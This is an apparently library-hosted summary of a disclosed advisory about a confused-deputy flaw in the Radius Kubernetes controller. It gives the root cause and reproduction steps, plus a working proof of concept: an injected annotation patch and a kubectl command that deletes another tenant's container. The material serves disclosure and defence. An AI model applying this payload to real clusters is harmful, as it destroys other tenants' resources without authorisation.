# Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)

Radius controller trusts the radapp.io/status annotation on Deployments, letting a tenant-A user delete another tenant's container via the controller's high-privilege credentials.

- Payout: Research
- Severity: high
- Program: Radius
- Found by: b0b0haha, j311yl0v3u
- Disclosed: 2026-06-12
- CVE: CVE-2026-53999
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fp5j-4fj2-4jvq
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-fp5j-4fj2-4jvq
- Tags: area:cloud domain:cloud domain:infra impact:dos kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:chained technique:source-review vuln:access-control vuln:business-logic

**Target:** Kubernetes controller reconciling Deployments and Radius UCP API
**Root cause:** The reconciler json.Unmarshals the user-controllable radapp.io/status annotation without validating that the container resource ID belongs to the Deployment's tenant, then passes it to deleteContainer using the controller's own high-privilege credentials.
**Steps:**
1. Install Radius v0.54.0 on a Kind cluster; create resource groups tenant-a and tenant-b with environments.
2. Deploy legitimate-app in tenant-a; create victim-app/victim-container in tenant-b via UCP API.
3. Patch the tenant-a Deployment with `radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'` and `radapp.io/enabled: "false"`.
4. Controller unmarshals the annotation and issues DELETE to UCP with its own credentials; victim-container is removed.
**How found:** Code review of the reconciler: noticed the status annotation is deserialized from user-controllable Deployment metadata and flows directly into a delete call without tenant/scope validation.
**Exploitation:** Attacker with Deployment annotation edit rights in their own namespace injects a foreign tenant's container resource ID into radapp.io/status; the controller, acting as confused deputy, deletes the victim's container resource, causing availability loss.
**Insight:** In multi-tenant Kubernetes controllers, any annotation/field the controller deserializes and later feeds into privileged API calls is a confused-deputy candidate; check whether resource IDs from that data are scope-validated against the owning namespace before use.

## Proof of concept (copied exactly from the original report)

**Malicious radapp.io/status annotation patch**

```
metadata:
  annotations:
    radapp.io/enabled: "false"
    radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'
```

**kubectl patch command triggering cross-tenant delete**

```
kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml

Expected output:

deployment.apps/legitimate-app patched
```

**Curl PUT creating victim container via UCP**

```
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview" \
  -H "Content-Type: application/json" \
  -d '{
    "location": "global",
    "properties": {
      "application": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app",
      "container": {
        "image": "nginx:latest"
      }
    }
  }'
```

